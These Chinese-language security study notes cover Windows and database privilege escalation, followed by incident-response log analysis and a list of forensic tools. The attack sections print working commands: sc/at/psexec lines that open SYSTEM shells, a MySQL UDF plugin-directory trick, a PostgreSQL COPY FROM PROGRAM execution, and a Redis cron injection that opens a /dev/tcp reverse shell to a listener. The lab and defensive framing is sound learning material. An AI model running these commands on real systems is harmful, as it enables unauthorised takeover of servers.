这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。基本上已经被淘汰了
WindowsVulnScan
一款基于主机的漏洞扫描工具
2.基于WEB环境下的权限提升-阿里云靶机
MSF 结合云服务器搭建组合组合拳?模拟上述操作实战演练?
搭建:https://www.cnblogs.com/M0rta1s/p/11920903.html
我这里也没有服务器,没办法搞这个案例
3. 基于本地环境下的权限提升-AT&SC&PS命令
如何判断本地环境可利用漏洞情况?AT&SC&PS 命令适用环境?
利用漏洞CVE-2020-0787 BitsArbitraryFileMoveExploit
将生成/下载的EXP程序复制到受漏洞影响的版本的测试靶机上,打开cmd,直接拖动exp到cmd窗口中运行exp,如下图所示:
可以看到exp运行完成后立即弹出一个新的system权限的cmd窗口,如下图所示:
此时就通过该漏洞获取了一个本地系统权限的cmd,可以以system权限执行任意操作
AT命令
输入这个命令at 15:13 /interactive cmd.exe,会在这个时间点启动一个cmd.exe的程序,这只有远古老版的windows才行
SC命令
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
和上面at命令是一个原理,启动了cmd.exe程序
PS命令
输入命令:psexec.exe -accepteula -s -i -d notepad.exe
会打开记事本
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。
数据库应用提权在权限提升中的意义
在漏洞没有办法的时候采用数据库,很多服务器上都有数据库
WEB 或本地环境如何探针数据库应用
先要进行探针,确定有这个数据库的服务。有的话就进行信息收集,用来收集账号密码,最后进行提权。
数据库提权权限用户密码收集等方法
目前数据库提权对应的技术及方法等
1.Mysql 数据库提权演示-脚本&MSF
案例:MYSQL 数据库提权演示-脚本&MSF
流程:服务探针-信息收集-提权利用-获取权限
UDF 提权知识点:(基于 MYSQL 调用命令执行函数)
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include 等
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd
利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出 dll 文件进行命令执行
select version() select @@basedir
手工创建 plugin 目录或利用 NTFS 流创建
select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’;
1.mysql<5.1 导出目录 c:/windows 或 system32
2.mysql=>5.1 导出安装目录/lib/plugin/
Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;
如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。
连接(未授权或有密码)-利用如下方法提权
参考:https://blog.csdn.net/fly_hps/article/details/80937837
(1).利用计划任务执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 7999
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
nc监听端口已经反弹回来shell
(2).写 ssh-keygen 公钥然后使用私钥登陆
(3).权限较低往 web 物理路径写 webshell
修复方案:
注意:以下操作,均需重启 Redis 后才能生效。
绑定需要访问数据库的 IP。 将 127.0.0.1 修改为需要访问此数据库的 IP 地址。
设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。
修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,禁用账号的登录权限。
2.PostgreSQL 数据库权限提升
PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM
PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
这里我先启动环境
然后用Navicat连接,成功连接上去
执行命令语句
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
修复方案:升级版本或打上补丁
3.Windows2008&7 令牌窃取提升-本地
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允
许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
本地提权实验:获取会话-利用模块-窃取令牌-提权
Microsoft Windows XP Professional SP3 和之前版本
Windows Server 2003 SP2 和之前的版本
Windows Server 2003 x64 和 x64 SP2
Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于 Itanium 的系统)
Windows Vista SP1 和之前的版本
Windows Vista x64 SP1 和之前的版本
4.Windows2003&10 进程注入提升-本地
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共
享机制,这类技术主要利用在 windows2008 之前操作系统上.所以我们需要学习后续的本地提权更多
的手法才能有针对高版本的系统。
pinjector 进程注入工具针对-win2008 以前操作系统
利用工具,注入到高权限里面,来享有高权限
pexec64 32 进程注入工具针对-win2008 及后操作系统-(佛系)
保护阶段,分析阶段,复现阶段,修复阶段,建议阶段
目的:分析出攻击时间,攻击操作,攻击后果,安全修复等并给出合理解决方案。
1.熟悉常见的 WEB 安全攻击技术
2.熟悉相关日志启用及存储查看等
不可能记住全部的路径,所以自己可以查询
3.熟悉日志中记录数据分类及分析等
1.收集目标服务器各类信息
2.部署相关分析软件及平台等
3.整理相关安全渗透工具指纹库
4.针对异常表现第一时间触发思路
从表现预估入侵面及权限面进行排查
指纹库搜索,日志时间分析,后门追查分析,漏洞检查分析等
1.Windows+IIS+Sql-日志,搜索
IIS虽然现在用的不多,但是是图形化界面的,方便我们观察学习,我们可以看到日志
点击日志,我们可以看到日志的路径
点击日志来观察一下
可以通过一些关键字的筛选,来看看有没有被攻击
2.Linux+BT_Nginx+tp5-日志,后门
打开搭建的网站
在宝塔里面,通过一些配置文件,开找到日志文件
观察日志可以看到有人在做目录扫描
用工具注入漏洞
日志就留有攻击记录
用宝塔内置webshell查杀木马
找到了有x.php这个后门木马,所以我们就可以在日志里面搜索是否有这个后门木马
3.Linux+Javaweb+st2-日志,后门,时间
找到网站出现异常的那一天,从这一天着重分析,但是不是说就看这一天
我们先人为的来看看日志有什么异常,发现其他都是GET类型,就只有这一个是POST类型的,发现这天的日志的信息量比较少,所以往前找找还有没有可以利用的信息。
但是日志文件有很多,我们不可能一个一个日志翻过去,所以我们需要使用工具,通过工具来查找一些关键信息,这里推荐用一款小工具FileSeek。
通过多次的日志信息搜集,大致上可以确定攻击者是一个叫caiyun的
找到了后门源文件
4.360 星图日志自动分析工具-演示,展望
下载一下星图,因为官方已经不维护,官网也已经下架了,需要自己去找。
根据里面的使用前必读的文件,来配置一些信息,然后我们开始扫日志文件
看一下分析结果
当然这软件也有缺点,只支持IIS/Apache/Nginx,支持面小,而且需要一个个扫描
推荐下面两款日志扫描文件
1.常见危害:暴力破解,漏洞利用,流量攻击,木马控制(Webshell,PC 木马等),病毒感染(挖矿,蠕
虫,勒索等)。
2.常见分析:计算机账户,端口,进程,网络,启动,服务,任务,文件等安全问题
Windows,Linux
https://xz.aliyun.com/t/485
https://www.secpulse.com/archives/114019.html
添加链接描述
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛:http://free.drweb.ru/download+cureit+free
火绒安全软件:https://www.huorong.cn
360 杀毒:http://sd.360.cn/download_center.html
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
http://www.virscan.org //多引擎在线病毒扫描网
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti 恶意软件扫描系统
http://www.scanvir.com //计算机病毒、手机病毒、可疑文件分析
1.攻击响应-暴力破解(RDP,SSH)-Win,Linux
找到Windows下的日志
Windows日志默认存放在这个位置
用LogFusion可以审计Windows下的日志
用弱口令工具进行爆破
日志分析可以看到已经登陆成功了
根据如此多的登陆失败,我们可以分析出是暴力破解,暴破攻击
对Linux使用爆破攻击
Linux日志文件保存位置
Linux-grep 筛选:
1、统计了下日志,确认服务器遭受多少次暴力破解
grep -o "Failed password" /var/log/secure|uniq -c
2、输出登录爆破的第一行和最后一行,确认爆破时间范围:
grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1
3、进一步定位有哪些 IP 在爆破?
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-
4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-
9]?)"|uniq -c | sort -nr
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -
nr
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
2.控制响应-后门木马(Webshell,PC)-Win,Linux
用这个工具可以观察电脑上的进程
软件PCHunter64.exe这个软件可以用来观察windows程序的进程,非常好用,但是win10没办法用
Windows高版本网络信息获取不全
UserAssistView可以看到主机上运行过的程序,软件
logonSessions可以看到主机上有哪些用户名连接过,可以看到当前会话。
Autoruns可以分析Windows启动了哪些项目
3.危害响应-病毒感染(勒索 WannaCry)-Windows
这里我不太敢下载,怕出事,所以还是直接用小迪的看看吧
用一些网站,可以尝试看看是否能解密
也可以用这个网站尝试
4.自动化响应检测-Gscan多重功能脚本测试-Linux
https://github.com/grayddq/GScan/